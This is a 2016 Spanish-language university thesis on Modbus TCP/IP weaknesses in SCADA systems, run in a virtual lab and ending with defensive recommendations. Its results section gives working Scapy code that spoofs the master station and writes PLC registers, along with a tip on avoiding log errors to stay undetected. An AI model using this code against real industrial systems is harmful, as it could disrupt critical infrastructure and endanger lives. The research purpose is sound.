EXPLOTANDO VULNERABILIDADES EN EL PROTOCOLO MODBUS …

EXPLOTANDO VULNERABILIDADES EN EL PROTOCOLO MODBUS TCP/IP

CARLOS DAVENSOR NAVA MUÑOZ

UNIVERSIDAD DE SAN BUENAVENTURA MEDELLÍN

FACULTAD DE INGENIERÍAS

ESPECIALIZACIÓN EN SEGURIDAD INFORMÁTICA

MEDELLÍN

2016

EXPLOTANDO VULNERABILIDADES EN EL PROTOCOLO MODBUS TCP/IP

CARLOS DAVENSOR NAVA MUÑOZ

Trabajo de grado presentado Para optar al título de Especialista en Seguridad Informática

Asesor: Manuel Humberto Santander Peláez, Magíster (MSc) en Ingeniería de Seguridad de

la Información.

UNIVERSIDAD DE SAN BUENAVENTURA MEDELLÍN

FACULTAD DE INGENIERÍAS

ESPECIALIZACIÓN EN SEGURIDAD INFORMÁTICA

MEDELLÍN

2016

Tabla de contenido

Resumen .............................................................................................................................. 7

Abstract ................................................................................................................................ 8

Abreviaciones y acrónimos .................................................................................................. 9

Introducción ....................................................................................................................... 10

1. Planteamiento del Problema .......................................................................................... 11

1. 1. Antecedentes ......................................................................................................... 13

2. Justificación ................................................................................................................... 15

3. Objetivos ........................................................................................................................ 16

3.1. Objetivo General .................................................................................................... 16

3.2. Objetivos Específicos ............................................................................................ 16

4. Marco Teórico ............................................................................................................... 17

4.1 Sistemas SCADA.................................................................................................... 17

4.1.1 Protocolo MODBUS. ....................................................................................... 18

5. Metodología ................................................................................................................... 22

5.1 Ambiente de Pruebas. ............................................................................................. 22

5.1.1 Software............................................................................................................ 22

5.1.2 Hardware .......................................................................................................... 23

5.2 Diseñando el ataque. ............................................................................................... 24

6. Análisis de Riesgo. ........................................................................................................ 26

7. Resultados ...................................................................................................................... 27

7.1 Plan de Ataque ........................................................................................................ 27

7.2 Realizando el Ataque. ............................................................................................. 27

8. Discusión ....................................................................................................................... 30

9. Conclusiones .................................................................................................................. 31

Referencias ........................................................................................................................ 32

Anexos ............................................................................................................................... 34

Anexo A ........................................................................................................................ 34

Anexo B ........................................................................................................................ 38

Tabla de Ilustraciones.

Ilustración 1 Defensa tipo anillo propuesta por DYONYX (Pollet, 2002) ........................ 13

Ilustración 2 Arquitectura por capas del protocolo MODBUS (Deon Reyders, 2005) .... 19

Ilustración 3 Relación entre cliente y servidor (Deon Reyders, 2005) ............................. 19

Ilustración 4 Especificaciones máquina principal. ............................................................ 23

Ilustración 5 Especificaciones máquinas virtuales Windows 7. ........................................ 24

Ilustración 6 Especificaciones máquina virtual Ubuntu. ................................................... 24

Ilustración 7 Análisis de los paquetes dentro de la red por medio de Wireshark .............. 25

Ilustración 8 Clasificación de riesgos. ............................................................................... 26

Índice de tablas

Tabla 1 Nombre y códigos de función para el protocolo MODBUS. ............................... 18

Tabla 2 Marco del mensaje en MODBUS ......................................................................... 20

7

Resumen

Este documento es una recopilación bibliográfica y experimental sobre los sistemas

SCADA en donde el protocolo Modbus es uno de los más utilizados en sistemas de control de

servicios públicos e infraestructuras críticas. Los sistemas SCADA están especialmente

diseñados para funcionar sobre ordenadores en el control de producción, proporcionando

comunicación con los dispositivos de campo (controladores autónomos, autómatas

programables, etc.) y controlando el proceso de forma automática desde una computadora.

(Pérez, 2014)

Este software es diseñado para el uso interno de las empresas, investigadores dentro de la

organización, y no es lo suficientemente genérico para usarse en cualquier tipo de arquitectura,

protocolo o sistema. (Queiroz, Mahmood, & Tari, 2011) Dentro de las comunicaciones del

protocolo hay instrumentos automáticos que miden y controlan todo dentro del campo de acción,

pero siempre será necesario una interfaz humano – maquina en caso de tomar control completo

de un proceso o indicar una acción.

Estos sistemas son altamente críticos lo cual hace que diferentes usuarios maliciosos

encuentren atractivo explotar las vulnerabilidades de dichos sistemas, esto con el fin de probarse

a sí mismos o fines económicos. Estas vulnerabilidades son de carácter básico, permitiendo a

cualquiera con un nivel medio de conocimiento pueda explotarlas haciendo el riesgo y la

probabilidad de ataque mucho mayor.

Palabras clave: Modbus, Vulnerabilidades, Script, Protocolo, Seguridad, Exploit.

8

Abstract

This document is an experimental and bibliographic recompilation about SCADA

systems, where the Modbus protocol is often used controlling public services systems and critical

infrastructures. SCADA systems are specially designed to run on computers in production

control, providing communication with field devices (autonomous controllers, PLCs, etc.) and

controlling the process automatically from a computer. (Pérez, 2014)

This software is designed for internal use by companies and researchers within the

organization being not generic enough to be used in any type of architecture, protocol or system

(Queiroz, Mahmood, & Tari, 2011), Inside the protocol communications there are automatic

instruments that measures and control all actions on the action field, but the HMI is a necessary

thing to have when taking full control of a process is mandatory, or to execute an action.

These systems are highly critical which makes different malicious users find attractive to

exploit the vulnerabilities of these systems, this in order to prove themselves or economic

purposes. These vulnerabilities are basic in nature, allowing anyone with an average level of

knowledge exploit it, making the risk and the attack probability much greater.

Keywords: Modbus, Vulnerabilities, Protocol, Security, Exploit, Script.

9

Abreviaciones y acrónimos

Modbus: Protocolo de comunicaciones.

PLC: Programmable Logic Controller – Controlador Lógico Programable

IED: Intelligent Electronic Device – Dispositivo Electrónico inteligente

SCADA: Supervisory Control and Data Adquisition – Control de supervisión y

Adquisición de Datos.

RTU: Remote Transfer Unit – Unidad Remota de Transferencia.

HMI: Human Machine Interface – Interfaz Humano – Maquina.

DoS: Denial of Service – Denegación de servicio

Log: Registro del sistema.

10

Introducción

Los sistemas SCADA fueron diseñados para ser controlados sobre ordenadores de

producción, los cuales proporcionan comunicación con los dispositivos de campo (controladores

autónomos, autómatas programables, etc.) proporcionando acceso y control de forma automática.

Además, envía la información generada en el proceso a diferentes usuarios (supervisores y

administradores) permitiendo la interacción de otras áreas, como control de calidad, supervisión,

mantenimiento, entre otros.

Para el caso de estudio, investigamos el protocolo MODBUS, ya que, para los sistemas

SCADA hay diferentes tipos de protocolos de transmisión, pero este es el más popular debido a

que su desarrollo es de bien público, tiene mayor compatibilidad en el entorno industrial y fue

considerado protocolo de comunicaciones estándar de facto. Este protocolo fue diseñado con

muy pocas restricciones hacía los datos y configurable punto – multipunto pero con limitante en

la cantidad de nodos que soporta, transacciones y que no permite agentes externos para conexión

con el mismo, como puede ser un método de alarma. (Marín & Francisco, 2009)

El propósito de la intrusión y el ataque es debido a la falta de seguridad en el sistema

SCADA, muchos estudios anteriores se han llevado a cabo pues en realidad la comunicación

entre los sistemas es abierta, permitiendo que, si alguien se infiltra en la red tenga los mismos

privilegios que un operador o un administrador. Por lo tanto, si dicho intruso ejerce malas

intenciones sobre el sistema podría llevar a un colapso en toda la red. Para el caso de nuestro

país, podría haber un apagón a gran escala pues todas las redes eléctricas están intercomunicadas

poniendo en riesgo el sistema completo y vidas humanas.

11

1. Planteamiento del Problema

Los sistemas SCADA o sistemas de Supervisión, Control y Adquisición de Datos,

comprenden todas aquellas soluciones de aplicación que recogen medidas y datos operativos de

equipos de control locales y remotos. Los datos se procesan para determinar si los valores están

dentro de los niveles de tolerancia y, de ser necesario, tomar medidas correctivas para mantener

la estabilidad y el control. (Jakaboczki & Adamko, 2015)

La arquitectura básica de un sistema SCADA está comprendida de un servidor, o granja

de servidores; RTU y PLC que se configuran para controlar dispositivos en el campo; consolas o

terminales locales desde donde los operadores monitorizan y controlan los diferentes sistemas o

terminales, y una base de datos histórica que procesa información. (Pacific Northwest National

Laboratory, U.S. Department of Energy, 2006)

Estas infraestructuras suelen estar localizadas en:

Sistemas de transporte.

Sistemas industriales como refinerías de petróleo.

Distribución y control de servicios públicos.

Centrales generadoras de energía, como; centrales nucleares, centrales térmicas e

hidroeléctricas. (Krutz, 2005)

Los sistemas de control de procesos son críticos en muchas industrias debido a que la

producción puede depender del sistema completa o parcialmente, lo cual lleva a una perdida

económica en caso de fallo, y según su criticidad puede causar desastres medioambientales o la

seguridad integral de los empleados que controlen o estén cerca de estos sistemas. Debido a esto,

es de extrema importancia mantener la seguridad de estos sistemas lo más alto posible y

transferir los riesgos que no puedan ser asumidos. Aun así, este único punto de falla debe estar

supervisado el ciento por ciento del tiempo.

Los sistemas SCADA en infraestructuras críticas son demasiado relevantes, ya que, un

fallo en dicha infraestructura es de impacto mayor, tanto en la sociedad como en su entorno. Por

12

lo tanto, la seguridad es un ámbito de empresa como nacional, es decir, de organismos superiores

que puedan actuar y ayudar dado un siniestro.

Según la implementación masiva de esta solución, el aumento de conectividad y enlaces

remoto a los sistemas han sido expuestos a los diferentes ataques informáticos (ej., virus,

gusanos, troyanos, hackers) sin estar preparados para los mismos, incluyendo la seguridad

perimetral en sistemas críticos como los productores de energía que dependen del tiempo de

respuesta.

13

1. 1. Antecedentes

Se conoce la magnitud del riesgo del internet mediante la masificación del mismo, el cual

hace que todos los tipos de piratas informáticos tengan un ascenso indescriptible el cual se

discutió por varias organizaciones en ese entonces, dando a entender que los sistemas críticos

dentro de su infraestructura estaban expuestos y necesitaban estrategias para defenderse de

aquellos que quisieran penetrar estos sistemas. En respuesta a los crecientes ataques se busca una

forma de proteger y de recuperación los sistemas que sean afectados por estos ataques,

empezando por los sistemas de gas, aceite, energía y telecomunicaciones. (Pollet, 2002)

Al contrario de la época, en donde se transmitía el mensaje de transparencia, esta

información viaja libremente por la red desde que se empezaron a implementar las redes

inteligentes, lo cual permitía que cualquier persona verificara esta información sin pensar en la

criticidad, vulnerabilidad o explotación de la misma.

Ilustración 1 Defensa tipo anillo propuesta por DYONYX (Pollet, 2002)

Este tipo de defensa protege tanto a ataques de fuera de la red como internas pero siguen

dejando abierto la aplicación entre los servidores SCADA puesto que la solución propuesta no

evita que un usuario malicioso pueda ver y copiar o alterar el tráfico entre la misma, solo evitaría

ataques directos contra la maquina como lo puede ser un ataque DoS.

Para empezar a descifrar que tipo de tráfico malicioso afecta estos servidores se

empezaron a realizar diferentes estudios en donde inyectan código malicioso a la red que pueda o

14

no afectar a los sistemas SCADA. El siguiente experimento demuestra que efectivamente el

trafico malicioso afecta los servidores SCADA, en donde el sistema cae bajo la influencia de 21

tipos de amenazas la cual afecta todo la conectividad del sistema y aumenta el retraso de

respuesta del servidor, causando un DoS. (Tiago H. Kobayashi, 2008) Este sistema se puede

mitigar realizando la estrategia de seguridad impuesta en el caso anterior, aun así, la seguridad

sigue estando a nivel de perímetro y no a nivel de aplicación. Por otro lado, se ve que a pesar de

que el protocolo tiene muchos años en funcionamiento y desde 2002 se encontró de forma oficial

que es necesario una solución para proteger y recuperar en caso de falla, la forma con que siguen

operando estos protocolos es descuidada, debido a que mientras su comunicación sea abierta será

muy fácil para un usuario malicioso utilizarla a su beneficio. Por ejemplo, en se implementa un

sistema de pruebas digital para atacar directamente a servidores usando este protocolo donde el

ataque seleccionado es Hombre en el Medio (MITM). Este ataque infecta el ARP tanto del

cliente como del servidor haciéndose pasar por un enrutador invisible, el cual recibe todo el

tráfico entre estos permitiendo al atacante ver y modificar la información que pasa entre estos.

(Chen, 2015).

De acuerdo a lo anterior, se procede a crear una manera de comunicarse con el servidor

haciéndose pasar por el cliente, efectuando código que altere el sistema mediante el protocolo

MODBUS.

15

2. Justificación

El sistema nacional de energía eléctrica maneja este tipo de protocolos, los cuales,

presentan un riesgo a nivel social y económico en todo el territorio nacional, ya que están

presentando vulnerabilidades que pueden ser explotadas en cualquier momento. En caso de que

un ataque se llevara a cabo se presentaría un apagón que puede deshabilitar permanentemente

equipos electrónicos o equipos que utilicen la energía proveniente de dichas estaciones, ya que si

una llega a fallar y no posee los controles necesarios causará que cada central de energía

interconectada con esta sea deshabilitada, aumentando significativamente el riesgo de sufrir

grandes pérdidas. Por ende, este desarrollo tiene como objetivo demostrar que existen tales

vulnerabilidades y así se implementen mayores/mejores controles al respecto.

16

3. Objetivos

3.1. Objetivo General

Demostrar las vulnerabilidades presentes en el protocolo SCADA MODBUS TCP/IP

mediante el desarrollo de herramientas que permitan verificar la existencia de las mismas en la

infraestructura del sistema

3.2. Objetivos Específicos

Identificar los requisitos del sistema para interpretar sus vulnerabilidades y fortalezas.

Analizar los procesos relacionados con el registro, control y comunicación entre las

terminales del sistema para identificar correctamente las vulnerabilidades críticas.

17

4. Marco Teórico

4.1 Sistemas SCADA

Los sistemas SCADA. Se trata de una plataforma especialmente diseñada para funcionar

sobre ordenadores en el control de producción, proporcionando comunicación con los

dispositivos de campo (controladores autónomos, autómatas programables, etc.) Controlando el

proceso de forma automática desde la pantalla del ordenador. (Santander, 2013) Durante todo el

proceso de producción, el sistema provee a los usuarios implicados y demás áreas competentes

de toda la información que se genera, manteniendo así la mejora continua en cuanto a calidad,

mantenimiento, operación, supervisión, etc.

En este tipo de sistemas usualmente existe un ordenador, que efectúa tareas de

supervisión y gestión de alarmas, así como tratamiento de datos y control de procesos

(Reynders, Mackay, & Wrigth, 2005). Los buses especiales o las redes LAN que interconectan

los diferentes equipos permiten que esta conexión se realice en tiempo real y están diseñados

para permitir el control y monitoreo del operado de planta en todos sus procesos.

Los sistemas SCADA actuales están generalmente conectados en red. Se comunican a

través de sistemas de redes de área amplia (WAN), a través de líneas telefónicas o de datos y a

menudo transmiten datos entre los nodos a través de Ethernet o conexiones de fibra óptica

(Smart Grid) (H. Khurana, 2010). Los sistemas SCADA dependen altamente de sus PLC debido

a la importancia de sus mediciones. Estos se mantienen en uso intensivo para emitir banderas de

aviso a los operadores en caso de toma de decisiones importantes, marcación de eventos y ajustes

de rutina pertinentes. Debido a que los sistemas actuales se basan más en el uso general, todas las

partes de la infraestructura pueden ser intercambiables según su fabricante, teniendo así

diferentes proveedores de PLC y otros dispositivos para los sistemas de comunicación lo que

conlleva al usuario a tener mejor selección de componentes que se ajusten a sus necesidades sin

depender de un solo fabricante. Anteriormente los sistemas SCADA estaban dentro de redes

limitadas (locales) las cuales solo permitían el acceso a los usuarios y maquinas dentro del

mismo perímetro de la red, pero hoy en día muchos de los sistemas SCADA tienen redes abiertas

18

conectadas a Internet, para permitir monitoreo y administración remota, lo que incrementa los

riesgos de explotación de vulnerabilidades en instancias tan críticas.

4.1.1 Protocolo MODBUS.

El protocolo MODBUS debido a la naturaleza con la que fue desarrollado permite que su

interfaz sea un poco más lenta que otros protocolos en el sector ya que está diseñado para que

pueda ser compatible con un número más grande de fabricantes, lo que lo hace el protocolo más

usado a nivel público e industrial.

El protocolo se conecta con un marco a través de TCP/IP mediante el cual contiene un

mensaje para su respectivo receptor haciendo la relación maestro/esclavo única, si en el

contenido del mensaje no hay errores, el esclavo cumple con la instrucción y le responde el

mensaje al maestro indicando su cumplimiento, de lo contrario, el esclavo responde con un

mensaje de tiempo el cual indica que aún sigue operativo pero no se cumplió la instrucción

anterior.

Las funciones que se pueden realizar con este protocolo se expresan en la Tabla 1.

Nombre Código de Función

Leer estado de bobina 01

Forzar única bobina 05

Forzar múltiples bobinas 15

Leer estado de datos de entrada 02

Leer registros de entrada 04

Leer registros retenidos. 03

Programar único registro 06

Programar múltiples registros 16

Leer estado de excepción 07

Pruebas y diagnostico 08

Tabla 1 Nombre y códigos de función para el protocolo MODBUS.

19

Para este protocolo existe una versión llamada MODBUS PLUS la cual contiene soporte

directo con la compañía desarrolladora pero requiere una suscripción. Para el intercambio de

mensajes mediante TCP/IP, se utiliza una arquitectura típica para el control de los paquetes

desde su encabezado IP como se muestra en la ilustración 2.

Ilustración 2 Arquitectura por capas del protocolo MODBUS (Reynders, Mackay, & Wrigth, 2005)

MODBUS pertenece a la capa de aplicación en el modelo OSI (capa 7) la cual provee

comunicaciones Cliente/Servidor entre dispositivos conectados en diferentes tipos de buses o

redes (Ilustración 3), en donde se maneja un estilo de requerimiento/respuesta (Reynders,

Mackay, & Wrigth, 2005). Este tipo de interacciones están desarrolladas para ser efectuadas en

tiempo real, en donde la HMI interactúa directamente con el sistema SCADA, permitiendo

controlar la planta de forma rápida y sencilla.

Ilustración 3 Relación entre cliente y servidor (Reynders, Mackay, & Wrigth, 2005)

20

Este protocolo funciona de modo que cada tipo de interacción se maneja en eco, es decir, cada

requerimiento o instrucción enviada al servidor siempre y cuando sea correcta, es replicada al

cliente antes de proceder a ejecutarla e inmediatamente requiere confirmación una vez efectuada

la instrucción (ilustración 4)

Ilustración 4 Interacción Cliente/Servidor dentro del protocolo MODBUS (Reynders, Mackay, &

Wrigth, 2005)

La estructura del contenido del mensaje para el protocolo MODBUS está presente en el

marco del mensaje (Frame) el cual está dividido como lo muestra la Tabla 1. Cada uno de estos

bytes representa los valores o identificadores de; quien, como, que y su respuesta para cada

mensaje de comunicación que se haga entre el servidor y el cliente.

Campo de Dirección Campo de Función Campo de Datos Campo de Errores

1 Byte 1 Byte Variable 2 Bytes Tabla 2 Marco del mensaje en MODBUS.

Campo de dirección: Este campo está dado para la identificación de la estación

esclava, es decir, cada estación tiene un identificado para asegurar que los

mensajes que se están recibiendo son de parte de una estación que puede estar

registrada bajo este servidor según un identificador asignado o una IP. Para este

protocolo se recomienda tener hasta 4 clientes por servidor, según mejores

prácticas.

Campo de Función: Cada requerimiento enviado al servidor debe tener su propio

código de función debido a que el campo de datos que se envía con este depende

directamente del tipo de función a realizar dentro del servidor.

21

Campo de Datos: Los datos que se envían al servidor son variables en longitud de

acuerdo a la función dada. Estos datos pueden ser requeridos por el servidor para

cumplir con el requerimiento recibido.

Campo de Errores: Este campo se encarga de asegurar que los datos contenidos

en el mensaje sean correctos y, en dado caso que el mensaje este incorrecto o se

haya dañado durante la transmisión previene que el servidor emita una respuesta

al mismo.

Uno de los problemas más comunes dentro de este protocolo se debe al campo de errores

debido a que no se obtendrá ningún tipo de reacción en el servidor por un paquete que se halla

dañado, lo cual hace que encontrar la falla o el daño dentro del mensaje o en el sistema sea

mucho más complejo.

22

5. Metodología

El presente proceso investigativo, tiene como objetivo demostrar las vulnerabilidades

presentes en el protocolo SCADA MODBUS mediante la explotación de vulnerabilidades dentro

de la transmisión de datos, la cual permite la usurpación del dispositivo maestro frente a la

estación esclava, dando paso a la capacidad de ingresar comandos maestros al dispositivo. Por

ende, esta investigación es de carácter experimental y descriptivo.

5.1 Ambiente de Pruebas.

5.1.1 Software

El software seleccionado para el ambiente de pruebas se compone de:

VMware Workstation: VMware Workstation transforma la manera en la que los

profesionales técnicos desarrollan, prueban, demuestran e implementan software,

ya que se ejecutan varios sistemas operativos basados en x86 simultáneamente en

una misma PC. (VMware, 2016)

Wireshark: Wireshark es el principal analizador de tráfico a nivel mundial.

Permite ver que está sucediendo dentro de su red a nivel microscópico. Es el

estándar de facto a través de muchas industrias e instituciones educativas.

(Combs, 2016)

Scapy: Scapy es un programa interactivo de manipulación de paquetes. Es capaz

de forjar o decodificar paquetes para un amplio número de protocolos, mandarlos

por la red, capturarlos, emparejar requerimientos y respuestas, y mucho más.

Puede fácilmente manejar tareas clásicas como escaneo, traza, sondeo, unidades

de prueba, ataques o descubrimientos de red. (Biondi, Valadon, & Lalet, 2016)

Modbus Tools (Slave) v7.0 Bld 1027: Permite simular hasta 32 dispositivos

esclavos tipo PLC y soporta todas las funciones para la comunicación Maestro-

Esclavo. (Witte Software, 2016)

23

Modbus Tools (Poll) v7.0 Bld 1027: Es un simulador Modbus de estación

maestra diseñado principalmente para ayudar a los desarrolladores de dispositivos

esclavos u otros que deseen probar y simular el protocolo Modbus. (Witte

Software, 2016)

5.1.2 Hardware

El ambiente de pruebas fue diseñado a partir de una maquina principal la cual alberga

máquinas virtuales por medio de VMware, simulando así el ambiente perfecto entre una estación

maestra, un esclavo, un intruso y una máquina que genera el ataque.

Lista de equipos:

1. Maquina principal (ilustración 4).

2. Máquinas virtuales en Windows 7 (Estación maestra y estación esclava)(ilustración

5)

3. Maquina atacante en Ubuntu (ilustración 6).

Ilustración 4 Especificaciones máquina principal.

24

Ilustración 5 Especificaciones máquinas virtuales Windows 7.

Ilustración 6 Especificaciones máquina virtual Ubuntu.

5.2 Diseñando el ataque.

Se realiza un análisis de riesgo, el cual consiste en tomar los activos tanto intangibles

como tangibles como la estación maestra, estación esclava, la red y su información. Tomando en

cuenta su importancia en el contexto, el cual es la seguridad de la red en la estación esclava. Una

25

vez hecho la lista de los activos tenemos; sus amenazas, el impacto en la red dado el ataque y la

frecuencia o probabilidad de que estos ataques sean llevados a cabo (Anexo 1). Una vez

realizado el análisis se puede ver el grado de riesgo que se puede tener dada la amenaza.

Dado el análisis de riesgo, se realiza un análisis a la red en el cual, a través de

simulación, tenemos el dispositivo maestro, el dispositivo esclavo y un intruso, el cual por medio

de herramientas como Wireshark se realiza un “sniffing” en la red para capturar los paquetes que

están circulando (Ilustración 7). En este caso en particular, El ataque es denominado

“Tampering”, un popular ataque realizado a todos los clientes virtuales mediante el cual se puede

interceptar y modificar la información. Los paquetes capturados son analizados y recreados

mediante Scapy, mediante el cual, se puede crear el paquete con toda la información recopilada

del análisis, y así, usurpar al dispositivo maestro, haciéndole creer al esclavo que todo el tráfico

recibido del intruso es oficial, permitiendo que este lleve a cabo comandos maestros y la

recopilación de la información de todas las estaciones esclavas.

Ilustración 7 Análisis de los paquetes dentro de la red por medio de Wireshark

26

6. Análisis de Riesgo.

Para realizar el análisis de riesgo se debe definir primero el contexto, el cual define el

alcance del análisis y enfoca el caso de estudio. En este caso, tenemos la seguridad de la red en la

estación esclava, debido a que ésta estación es aquella que controla directamente el sistema

industrial. Una vez definido el contexto se procede a seleccionar los activos de la red, en este

caso y según su simulación tenemos una estación maestra, una estación esclava (tangibles) y la

información que se transmite (intangible). Teniendo en cuenta que es una red Ethernet, las

posibles amenazas son los ataques comunes como MIM, DoS, Sniffing, Tampering, entre otros.

También se incluye un fenómeno social conocido como Ingeniería Social, el cual cabe entre los

ataques informáticos.

Cada uno de estos ataques es clasificado por el agente generador, la causa y su efecto

llevando así a otra clasificación, la cual se basa por su frecuencia o probabilidad de los ataques y

su impacto en la organización. Al obtener un resultado del análisis, podemos apreciar que; no

tenemos ningún riesgo aceptable (Grafico 1) y la mitad son tolerables. Esto puede

malinterpretarse como algo sin importancia pero hay que disminuir todos los riesgos aplicando

controles de seguridad, debido a que si alguno de estos riesgos (inadmisibles) se materializan

pueden haber perdidas catastróficas para el sistema y todo lo que en este se controle, pues como

podemos ver, es muy probable que un ataque tenga éxito en una red establecida por el protocolo

MODBUS.

Ilustración 8 Clasificación de riesgos.

0,00%

50,00%

16,67%

33,33% Aceptable

Tolerable

Inaceptable

Inadmisible

27

7. Resultados

7.1 Plan de Ataque

Para realizar el ataque, primero se necesita realizar la conexión entre la estación maestra

y la estación esclava los cuales incluyen comandos que permiten editar los registros uno a uno de

una estación esclava o múltiples de ellos al tiempo.

Por otro lado, mediante la máquina de Ubuntu, se analiza el tráfico en la red, verificando

la funcionalidad y recepción de los datos enviados entre las estaciones maestra y esclava,

analizando el contenido de sus paquetes y estudiando el patrón que este utiliza para así poder

crear nuestra propia “estación maestra”.

Dentro de la configuración del servidor se configuran los parámetros de tal modo que

acepte todas las conexiones entrantes (cualquier fuente) para emular el comportamiento de un

ataque directo. En caso de limitarlo a una sola IP (recomendado) para producir el ataque es

necesario realizar un ARP Poisoning; un ataque informático que nos permite hacerle creer al

servidor que nosotros somos el cliente y así ejecutar el ataque. Una vez se obtiene el patrón de

los paquetes, mediante el cual se pueden editar registros dentro de la estación esclava, se procede

a recrearlos con la herramienta Scapy, el cual permite crear el paquete TCP/IP desde su inicio.

7.2 Realizando el Ataque.

Para empezar, necesitamos establecer el enlace de datos entre el intruso (Ubuntu) y la

estación cliente, el cual se puede crear mediante un script o de forma manual en la herramienta

con las siguientes características:

SP=random.randint(49100,49199)

ip=IP(src="192.168.134.144", dst="192.168.134.142")

SYN=TCP(sport=SP, dport=502, flags="S", seq=1, options=[('MSS', 1460),('WScale',

8),('SAckOK','')])

SYNACK=sr1(ip/SYN)

28

El anterior paquete se trata del inicio de la comunicación con la estación esclava, en

donde lo primero es enlazar por un saludo de tres vías toda la comunicación. El paquete cuenta

con opciones específicas como “SAckOK” el cual permite enviar confirmaciones de recibido en

múltiples ocasiones sin finalizar la comunicación y separando los diferentes comandos.

ACK=TCP(sport=SP, dport=502, flags="A", seq=SQ, ack=BA)

SA=send(ip/ACK)

Para terminar el saludo, debemos enviar una confirmación de recibido indicando el

número de secuencia del paquete que nos da toda la comunicación de la red y asignándole un

numero falso de “ACK”. Este número falso de debe a el tipo de comunicación con el esclavo, el

cual es diferencia entre el saludo y los diferentes comandos que se enviaran a la estación esclava.

MB=TCP(sport=SP, dport=502, flags="PA", seq=SQ, ack=MA, options=[('WScale',

8)])

load=Raw(load='\x00\x00\x00\x00\x00\x06\x01\x03\x00\x00\x00\x0a')

PA=sr1(ip/MB/load)

Procedemos con nuestro primer paquete en donde se hace pasar por la estación maestra,

creando una solicitud de mantener los registros que están escritos en el momento, esto se debe a

que dicha acción se realiza por defecto entre las dos estaciones cuando no hay ningún tipo de

comando/tarea entre las estaciones, esto con el fin de mantener el enlace de comunicación entre

las dos estaciones.

El paquete cuenta con carga tipo “RAW” la cual consiste en reemplazar el protocolo

MODBUS antes los ojos de Scapy y mostrar en la estación esclava el idioma por el cual entiende

y realiza las tareas dicha estación.

ACK=TCP(sport=SP, dport=502, flags="A", seq=SQ, ack=MA)

SA=send(ip/ACK)

Una vez recibimos respuesta de el comando para mantener los registros en la estación

esclava debemos enviar un paquete de confirmación para mantener la comunicación con la

29

estación, de lo contrario, dicha estación entrara en un modo de supervivencia de enlace,

reenviando el paquete anterior hasta 4 veces en busca de una respuesta. En caso tal de no

recibirla la estación esclava busca finalizar la comunicación con el intruso enviando un paquete

con una bandera “RST” la cual finaliza la comunicación por completo.

MB2=TCP(sport=SP, dport=502, flags="PA", seq=SQ, ack=MA)

load2=Raw(load='\x00\x03\x00\x00\x00\x1b\x01\x10\x00\x00\x00\x0a\x14\x00\x01\

x00\x0a\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')

PA2=sr1(ip/MB2/load2)

Con el paquete anterior ya se puede comenzar a escribir registros en la aplicación de la

estación esclava, en donde podemos alterar las diferentes configuraciones que la estación este

manejando. Ejemplo: presión de gas, topes de carga eléctrica, presión de agua, temperaturas de

generadores. Etc.

Dentro de la carga “RAW” para la escritura de registro, tenemos 10 pociones (20 octetos)

en los cuales podemos modificar cualquier valor existente obteniendo así la posibilidad de crear

un incidente dentro de la planta y dependiendo del grado del mismo, poner en riesgo vidas

humanas.

FACK=TCP(sport=SP, dport=502, flags="FA", seq=SQ, ack=MA)

SA=sr1(ip/FACK)


SA=send(ip/ACK)

Por ultimo debemos finalizar la comunicación con la estación esclava, esto con el fin de

no dejar ningún tipo error dentro de los logs del sistema, aumentando la probabilidad de pasar

desapercibido.

30

8. Discusión

El protocolo MODBUS fue diseñado para ambientes aislados en donde no era permitida

ninguna alteración del protocolo para incrementar su seguridad, y es ahí donde el internet entra.

Una vez se desarrollan las redes inteligentes y se abren las puertas para la comunicación con

estos sistemas, no se tiene en cuenta cómo y que podría afectar los sistemas de manera directa y

crítica. Sin embargo, hay muchos métodos para aumentar la seguridad en estos sistemas,

recomendaciones directas e indirectas como lo es la protección perimetral; Firewalls, VPN, IDS,

(Cagalaban, So, & Kim, 2009) Pero aun así, ¿qué pasaría donde un usuario malicioso pudiera

penetrar esta seguridad? Muchos sistemas han sido vulnerados y algunos de ellos lo han

publicado a través de noticias en donde muestran que no solo el sistema es vulnerable, sino

también aquello que lo protege como es el caso donde “Hackers” ganan control absoluto de los

sistemas SCADA por medio de la explotación de dispositivos alternos al sistema, como lo son

los switches SCALANCE X-200 de SIEMENS (Pauli, 2014). También e incluso más reciente,

una planta de agua fue vulnerada a través de su propio sitio web, en donde se alteró la

información a tal punto que se intentó contaminar toda el agua de dicha planta afectando así el

sistema completo (Leyden, 2016). Esto muestra que aunque estén protegidos contra el acceso

desde internet, los sistemas siempre tendrán vulnerabilidades las cuales no siempre serán

conocidas para el público, y aun así pueden ser explotadas para ingresar al sistema poniendo en

riesgo, no solo la planta como tal, sino también a la población entera.

Como estos ataques hay muchos más que no solo afectan al sistema SACADA sino

también a su seguridad perimetral, encontrando así camino a través de la misma red para

comunicarse con el servidor y realizar un ataque.

31

9. Conclusiones

El análisis de riesgo deja en evidencia los riesgos que contiene la comunicación entre la

estación esclava y la estación maestra usando este protocolo, pues no solo permite que cualquiera

pueda usurpar una estación maestra, sino también, realizar cambios críticos en el sistema por

medio de los comandos de escritura la cual la estación esclava no verifica y tampoco puede ser

limitada para evitar que ese tipo de acontecimientos suceda. Esto aumenta la probabilidad de que

un evento catastrófico ocurra y, más aún en nuestro país, debido a la alta producción

hidroeléctrica que posee el sistema hoy en día.

Para evitar este tipo de ataques es necesaria la implementación de redes seguras (o total

aislamiento), cifrado de comunicaciones entre estaciones, o autenticación de sesiones en las

mismas, pudiendo así prevenir que cualquier usuario malicioso ingrese al sistema.

Se recomienda la migración de protocolo a DNPSec debido a que en este protocolo se

cifra una parte del paquete con destino al servidor lo cual hace que a través de un ataque

informático sea mucho más difícil ver o interpretar el contenido del paquete que viaja en la red.

Una de las cosas más importantes en este protocolo es el intercambio de llaves para cifrar dicha

comunicación, lo cual se hace por medio de un cifrado asimétrico, protegiendo tanto el servidor

como el cliente. (Majdalawieh, 2007). Sin embargo, aunque se establece el nivel de cifrado y

tiene la capacidad de añadir un módulo de autenticación entre servidor y cliente, se ha llegado a

ver afectado el protocolo por otros ataques más avanzados a nivel informático, en donde se

puede apreciar los diferentes niveles dentro de la comunicación y como es vulnerada. (Ko,

2015). Así como también muestran propuestas para mejorar las comunicaciones dentro del

protocolo.

32

Referencias

Biondi, P., Valadon, G., & Lalet, P. (2016). Scapy (Versión 2.3.2). Software de computación.

Obtenido de http://www.secdev.org/projects/scapy/

Cagalaban, G. A., So, Y., & Kim, S. (2009). SCADA Network Insecurity: Securing Critical

Infrastructures through SCADA Security Exploitation. J. Secur. Eng, 473-480.

Chen, B. (2015). Implementing attacks for modbus/TCP protocol in a real-time cyber physical

